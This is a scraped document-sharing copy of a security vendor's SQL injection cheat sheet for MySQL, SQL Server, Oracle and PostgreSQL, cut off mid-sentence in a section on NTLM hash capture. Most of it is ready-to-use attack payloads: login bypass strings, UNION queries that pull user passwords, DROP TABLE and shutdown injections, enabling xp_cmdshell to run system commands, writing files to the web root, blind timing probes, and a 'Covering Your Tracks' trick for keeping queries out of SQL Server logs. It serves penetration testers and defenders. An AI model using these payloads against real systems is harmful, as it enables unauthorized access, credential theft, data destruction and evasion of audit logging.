Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
85 views

SQL Injection Cheat Sheet - Netsparker

The document provides a SQL injection cheat sheet with detailed technical information about different variants of SQL injection vulnerabilities against various databases like MySQL, Microsoft SQL Server, Oracle and PostgreSQL. It includes syntax references, sample attacks and techniques to exploit SQL injections. It also covers topics like inline and line comments, stacked queries, if statements, union injections and bypassing login screens.

Uploaded by

thangphamai
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
85 views

SQL Injection Cheat Sheet - Netsparker

The document provides a SQL injection cheat sheet with detailed technical information about different variants of SQL injection vulnerabilities against various databases like MySQL, Microsoft SQL Server, Oracle and PostgreSQL. It includes syntax references, sample attacks and techniques to exploit SQL injections. It also covers topics like inline and line comments, stacked queries, if statements, union injections and bypassing login screens.

Uploaded by

thangphamai
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 40

8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do

SQL Injection Cheat Sheet


Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL
Injection vulnerability. In this cheat sheet you can find detailed technical
information about SQL Injection vulnerabilities against MySQL, Microsoft SQL
Server, Oracle and PostgreSQL SQL servers.

Enter your email to signup for the latest posts Subscribe

Your Information will be kept private. (/privacy-policy/)

What is an SQL Injection Cheat Sheet?

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 1/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

An SQL
Web injection
Security cheat sheet
(/blog/web-security/) is a(/blog/news/)
News resource inProduct
which you can
Releases find detailed
(/blog/releases/) technical
Product Do
information about the many different variants of the SQL Injection vulnerability
(/web-vulnerability-scanner/vulnerabilities/sql-injection/). This cheat sheet is
of good reference to both seasoned penetration tester and also those who are
just getting started in web application security (/).

About the SQL Injection Cheat Sheet


This SQL injection cheat sheet was originally published in 2007 by Ferruh
Mavituna on his blog. We have updated it and moved it over from our CEO's blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft
SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every situation
because real live environments may vary depending on the usage of parenthesis,
different code bases and unexpected, strange and complex SQL
sentences. Samples are provided to allow you to get basic idea of a potential
attack and almost every section includes a brief information about itself.

M: MySQL

S: SQL Server

P: PostgreSQL

O: Oracle

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 2/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

+ : Security (/blog/web-security/)
Web Possibly all other databases
News (/blog/news/) Product Releases (/blog/releases/) Product Do

Examples;

(MS) means : MySQL and SQL Server etc.

(M*S) means : Only in some versions of MySQL or special conditions see


related note and SQL Server

Table Of Contents
1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
1. Line Comments
SQL Injection Attack Samples
2. Inline Comments
Classical Inline Comment SQL Injection Attack Samples
MySQL Version Detection Sample Attacks
3. Stacking Queries
Language / Database Stacked Query Support Table
About MySQL and PHP
Stacked SQL Injection Attack Samples
4. If Statements
MySQL If Statement
SQL Server If Statement
If Statement SQL Injection Attack Samples
5. Using Integers
6. String Operations
String Concatenation
7. Strings without Quotes
Hex based SQL Injection Samples
8. String Modification & Related
9. Union Injections
UNION – Fixing Language Issues
10. Bypassing Login Screens
11. Enabling xp_cmdshell in SQL Server 2005
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 3/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

12. Finding
Web Security Database
(/blog/web-security/) Structure
News in
(/blog/news/) SQL Server
Product Releases (/blog/releases/) Product Do
13. Fast way to extract data from Error Based SQL Injections in SQL
Server
14. Blind SQL Injections
15. Covering Your Tracks
16. Extra MySQL Notes
17. Second Order SQL Injections
18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL


Injection Tricks

Ending / Commenting Out / Line Comments


Line Comments
Comments out rest of the query. Line comments are generally useful for ignoring
rest of the query so you don't have to deal with fixing the syntax.

-- (SM) DROP sampletable;--

# (M) DROP sampletable;#

Line Comments Sample SQL Injection Attacks

Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password =
'password' This is going to log you as admin user, because rest of the SQL
query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for
bypassing blacklisting, removing spaces, obfuscating and determining database
versions.

/*Comment Here*/ (SM)


DROP/*comment*/sampletable

DR/**/OP/*bypass blacklisting*/sampletable

SELECT/*avoid-spaces*/password/**/FROM/**/Members
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 4/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

/*! (/blog/web-security/)
Web Security MYSQL Special SQL / (M) This isProduct
News*(/blog/news/) a special comment
Releases syntaxProduct
(/blog/releases/) for MySQL.
Do
It's perfect for detecting MySQL version. If you put a code into this comments
it's going to execute in MySQL only. Also you can use this to execute some
code only if the server is higher than supplied
version. SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples

ID: 10; DROP TABLE members /* Simply get rid of other stuff at the end the
of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename Will throw an divison by 0
error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks

ID: /*! 32302 10*/


ID: 10 You will get the same response if MySQL version is higher
than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename Will throw a division by 0
error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every
injection point, especially in SQL Server back ended applications.

; (S) SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table


green: supported, dark gray: not supported, light gray: unknown

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 5/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

About
Web MySQL
Security and PHP; ToNews
(/blog/web-security/) clarify some issues;
(/blog/news/) PHP
Product - MySQL
Releases doesn't support
(/blog/releases/) Product Do
stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about
other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not

possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone

clarify?

Stacked SQL Injection Attack Samples

ID: 10;DROP members --


SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL
Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement
IF(condition,true-part,false-part) (M) SELECT IF(1=1,'true','false')

SQL Server If Statement


IF condition true-part ELSE false-part (S) IF (1=1) SELECT 'true' ELSE
SELECT 'false'

Oracle If Statement
BEGINIF condition THEN true-part; ELSE false-part; END IF; END; (O) IF
(1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF;
END;

PostgreSQL If Statement
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) SELECT
CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else


select 1/0 (S) This will throw an divide by zero error if current logged user is
not "sa" or "dbo".

Using Integers
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 6/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

VerySecurity
Web useful for bypassing, magic_quotes()
(/blog/web-security/) News (/blog/news/) and similar
Product filters,
Releases or even WAFs.
(/blog/releases/) Product Do

0xHEXNUMBER (SM) You can write hex like these; SELECT


CHAR(0x66) (S) SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) SELECT
0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which
are not using any quotes, bypass any other black listing or determine back end
database.

String Concatenation
+ (S) SELECT login + '-' + password FROM members

|| (*MO) SELECT login || '-' || password FROM members

*About MySQL "||"; If MySQL is running in ANSI mode it's going to work but
otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it
is using CONCAT() function in MySQL.

CONCAT(str1, str2, str3, ...) (M) Concatenate supplied


strings. SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()
(MS) and CONCAT() (M) to generate string without quotes.

0x457578 (M) - Hex Representation of string SELECT 0x457578 This will be


selected as string in MySQL. In MySQL easy way to generate hex
representations of strings use this; SELECT
CONCAT('0x',HEX('c:\\boot.ini'))

Using CONCAT() in MySQL SELECT


CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) This will return 'KLM'.

SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) This will return 'KLM'.

SELECT CHR(75)||CHR(76)||CHR(77) (O) This will return 'KLM'.

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 7/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

SELECT
Web Security (CHaR(75)||CHaR(76)||CHaR(77))
(/blog/web-security/) News (/blog/news/) Product (P) This(/blog/releases/)
Releases will return 'KLM'.
Product Do

Hex based SQL Injection Samples


SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) This will show the
content of c:\boot.ini

String Modification & Related

ASCII() (SMP) Returns ASCII character value of leftmost character. A must


have function for Blind SQL Injections. SELECT ASCII('a')
CHAR() (SM) Convert an integer of ASCII. SELECT CHAR(64)

Union Injections
With union you do SQL queries cross-table. Basically you can poison query to
return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM
members This will combine results from both news table and members table and
return all of them.

Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different
language settings (table settings, field settings, combined table / db settings etc.) these functions are
quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian,
Turkish etc. applications then you will see it.

SQL Server (S) Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or


some other valid one - check out SQL Server documentation. SELECT header FROM news
UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM
members

MySQL (M) Hex() for every possible issue

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 8/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Bypassing Login Screens (SMO+)Product Releases (/blog/releases/)


Web Security (/blog/web-security/)
News (/blog/news/) Product Do

SQL Injection 101, Login tricks

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

....

Login as different user (SM*) ' UNION SELECT 1, 'anotheruser', 'doesnt


matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned
MD5 with supplied password's MD5 then you need to some extra tricks to fool
application to bypass authentication. You can union results with a known
password and MD5 hash of supplied password. In this case application will
compare your password and your supplied MD5 hash instead of MD5 from
database.

Bypassing MD5 Hash Check Example (MSP)


Username : admin' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055' Password : 1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 9/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Error Based - Find Columns Names


Web Security (/blog/web-security/)
News (/blog/news/) Product Releases (/blog/releases/) Product Do

Finding Column Names with HAVING BY - Error Based (S)


In the same order,

' HAVING 1=1 --


' GROUP BY table.columnfromerror1 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2,


columnfromerror(n) HAVING 1=1 -- and so on

If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection
process.

ORDER BY 1--

ORDER BY 2--

ORDER BY N-- so on

Keep going until get an error. Error means you found the number of selected
columns.

Data types, UNION, etc.


Hints,
Always use UNION with ALL because of image similar non-distinct field types.
By default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record
search in the beginning of query (if injection is in WHERE). This can be critical if you
are only getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess
string, date, integer etc.
Be careful in Blind situtaions may you can understand error is coming
from DB or application itself. Because languages like ASP.NET generally
throws errors while trying to use NULL values (because normally developers are not
expecting to see NULL in a username field)

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 10/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Finding Column Type


Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do
' union select sum(columntofind) from users-- (S) Microsoft OLE DB
Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]The sum or average aggregate operation
cannot take a varchar data type as an argument. If you are not getting an error it

means column is numeric.


Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
null, NULL, NULL, convert(image,1), null, null,NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- No Error -


Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- No Error – First
column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- Error! – Second
column is not an integer.
11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –- No Error –
Second column is a string.
11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –- Error! – Third
column is not an integer. ... Microsoft OLE DB Provider for SQL Server
error '80040e07' Explicit conversion from data type int to
image is not allowed.

You'll get convert() errors before union target errors ! So start with convert()
then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures /


Bulk SQL Injection Notes

@@version (MS) Version of database and more details for SQL Server. It's a
constant. You can just select it like any other column, you don't need to supply
table name. Also, you can use insert, update statements or in functions.
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 11/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

INSERT
Web SecurityINTO members(id,News
(/blog/web-security/) user, pass)
(/blog/news/) VALUES(1,
Product Releases (/blog/releases/) Product Do
''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)


Insert a file content to a table. If you don't know internal path of web application
you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then
search in it to identify application path.

1. Create table foo( line varchar(8000) )


2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function. bcp "SELECT *
FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -
Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)


You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int exec sp_oacreate 'wscript.shell', @o out exec


sp_oamethod @o, 'run', NULL, 'notepad.exe' Username: '; declare @o int
exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',
NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)


Well known trick, By default it's disabled in SQL Server 2005. You need to have admin
access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 12/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Error(/blog/web-security/)
Web Security Messages master..sysmessages
News (/blog/news/) Product Releases (/blog/releases/) Product Do

Linked Servers master..sysservers


Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm ) SQL Server
2000: masters..sysxlogins SQL Server 2005 : sys.sql_logins
More Stored Procedures for SQL Server (S)
1. Cmd Execute (xp_cmdshell) exec master..xp_cmdshell 'dir'
2. Registry Stuff (xp_regread)
1. xp_regaddmultistring
2. xp_regdeletekey
3. xp_regdeletevalue
4. xp_regenumkeys
5. xp_regenumvalues
6. xp_regread
7. xp_regremovemultistring
8. xp_regwrite exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want) sp_addextendedproc
'xp_webserver', 'c:\temp\x.dll' exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF


(@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() IS_MEMBER (Transact-SQL) IS_SRVROLEMEMBER (Transact-


SQL) OPENDATASOURCE (Transact-SQL)
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 13/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Securitytbl
INSERT (/blog/web-security/) News (/blog/news/)
EXEC master..xp_cmdshell Product
OSQL Releases
/Q"DBCC (/blog/releases/)
SHOWCONTIG" Product Do

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-


us/library/ms190312.aspx (http://msdn2.microsoft.com/en-
us/library/ms190312.aspx)

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)


SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT
1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)


When you're really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored


procedures are disabled in SQL Server 2005. If you have admin access then you
can enable these.

EXEC sp_configure 'show advanced options',1 RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE

Finding Database Structure in SQL Server (S)


Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names


SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE
name = 'tablenameforcolumnnames')

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 14/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Moving records (S)


Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do

Modify WHERE and use NOT IN or NOT EXIST , ... WHERE users NOT IN
('First User', 'Second User') SELECT TOP 1 name FROM members WHERE
NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

Using Dirty Tricks SELECT * FROM Product WHERE ID=2 AND


1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
where p.x=3) as int Select p.name from (SELECT (SELECT
COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and
i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p
where p.x=21

Fast way to extract data from Error Based SQL Injections in


SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name


FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article: Fast way to extract data from Error Based SQL Injections
(http://ferruh.mavituna.com/fast-way-to-extract-data-from-error-based-sql-
injections-oku/)

Finding Database Structure in MySQL (M)


Getting User defined Tables
SELECT table_name FROM information_schema.tables WHERE table_schema =
'databasename'

Getting Column Names


SELECT table_name, column_name FROM information_schema.columns
WHERE table_name = 'tablename'

Finding Database Structure in Oracle (O)


https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 15/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Getting User defined Tables


Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

Getting Column Names


SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses
on the page, so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract data. There are
two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine
result of a query from response or HTTP status code Totally Blind, You can not
see any difference in the output in any kind. This can be an injection a logging
function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in


injection (generally easier), in totally blinds you need to use some waiting functions and
analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL
Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and
some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample


This output taken from a real private Blind SQL Injection tool while exploiting SQL
Server back ended application and enumerating table names. This requests done
for first char of the first table name. SQL queries a bit more complex then
requirement because of automation reasons. In we are trying to determine an
ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 16/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

TRUE
Web : SELECT
Security ID, Username,
(/blog/web-security/) Email FROM
News (/blog/news/) [User]WHERE
Product ID = 1 AND
Releases (/blog/releases/) Product Do
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78-- FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- TRUE : SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- TRUE : SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- TRUE : SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- FALSE : SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name's first
char's ascii value is 80 which means first char is `P`. This is the way to exploit
Blind SQL injections by binary search algorithm. Other well-known way is reading
data bit by bit. Both can be effective in different conditions.
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 17/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Web Security (/blog/web-security/) News (/blog/news/) Product Releases (/blog/releases/) Product Do

Making Databases Wait / Sleep For Blind SQL Injection


Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify
difference. Second, be careful while using times more than 20-30 seconds.
database API connection or script can be timeout.

WAITFOR DELAY 'time' (S)


This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also, you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples


Are we 'sa' ? if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'--
ProductID = 1);waitfor delay '0:0:10'--
ProductID = 1';waitfor delay '0:0:10'--
ProductID = 1');waitfor delay '0:0:10'--
ProductID = 1));waitfor delay '0:0:10'--
ProductID = 1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically, we are abusing this command to make MySQL wait a bit. Be careful you
will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples


Are we root ? woot! IF EXISTS (SELECT * FROM users WHERE username =
'root') BENCHMARK(1000000000,MD5(1))

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 18/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

Check
Web Security Table exist in
(/blog/web-security/) MySQL IF (SELECT
News (/blog/news/) * FROM
Product login)
Releases (/blog/releases/) Product Do
BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)
Sleep for supplied seconds.

SELECT pg_sleep(10); Sleep 10 seconds.

sleep(seconds) (M)
Sleep for supplied seconds.

SELECT sleep(10); Sleep 10 seconds.

dbms_pipe.receive_message (O)
Sleep for supplied seconds.

(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100)


THEN dbms_pipe.receive_message(('xyz'),10) ELSE
dbms_pipe.receive_message(('xyz'),1) END FROM dual)

{INJECTION} = You want to run the query.

If the condition is true, will response after 10 seconds. If is false, will be


delayed for one second.

Covering Your Tracks


SQL Server -sp_password log bypass (S)
SQL Server don't log queries that includes sp_password for security reasons(!). So
if you add --sp_password to your queries it will not be in SQL Server logs (of course still
will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests


These tests are simply good for blind sql injection and silent attacks.

1. product.asp?id=4 (SMO)
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 19/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

a. (/blog/web-security/)
Web Security product.asp?id=5-1 News (/blog/news/) Product Releases (/blog/releases/) Product Do
b. product.asp?id=4 OR 1=1
2. product.asp?name=Book
a. product.asp?name=Bo'%2b'ok
b. product.asp?name=Bo' || 'ok (OM)
c. product.asp?name=Book' OR 'x'='x

Extra MySQL Notes


Sub Queries are working only MySQL 4.1+
Users
SELECT User,Password FROM mysql.user;

SELECT 1,1 UNION SELECT


IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0)
User,Password FROM mysql.user WHERE User = 'root';

SEL ECT ... INTO DUMPFILE


Write quer y into a new file (can not modify existing files)

UDF Function
create function LockWorkStation returns integer soname
'user32';

select LockWorkStation();

create function ExitProcess returns integer soname


'kernel32';

select exitprocess();

SELECT USER();

SELECT password,USER() FROM mysql.user;

First byte of admin hash


SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE
user_group = 1;

Read File
query.php?
user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL Load Data infile


By default it's not available !
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 20/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

create table
Web Security (/blog/web-security/) foo(
News line blob
(/blog/news/) );Releases
Product load (/blog/releases/)
data infile Product Do
'c:/boot.ini' into table foo; select * from foo;

More Timing in MySQL


select benchmark( 500000, sha1( 'test' ) );

query.php?user=1+union+select+benchmark(500000,sha1
(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

select if( user() like 'root@%', benchmark(100000,sha1('test')),


'false' ); Enumeration data, Guessed Brute Force
select if( (ascii(substring(user(),1,1)) >> 7) & 1,
benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions


MD5() MD5 Hashing

SHA1() SHA1 Hashing

PASSWORD()

ENCODE()

COMPRESS() Compress data, can be great in large binary reading in Blind SQL
Injections.
ROW_COUNT()

SCHEMA()

VERSION() Same as @@version

Second Order SQL Injections


Basically, you put an SQL Injection to some place and expect it's unfiltered in
another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + ' Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function,


process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ 21/40
8/5/2021 SQL Injection Cheat Sheet | Netsparker

ThisSecurity
Web attack can help you to News
(/blog/web-security/) get SQL Server user's
(/blog/news/) ProductWindows password
Releases (/blog/releases/) ofProduct
target Do
server, but possibly you inbound connection will be firewalled. Can be very useful
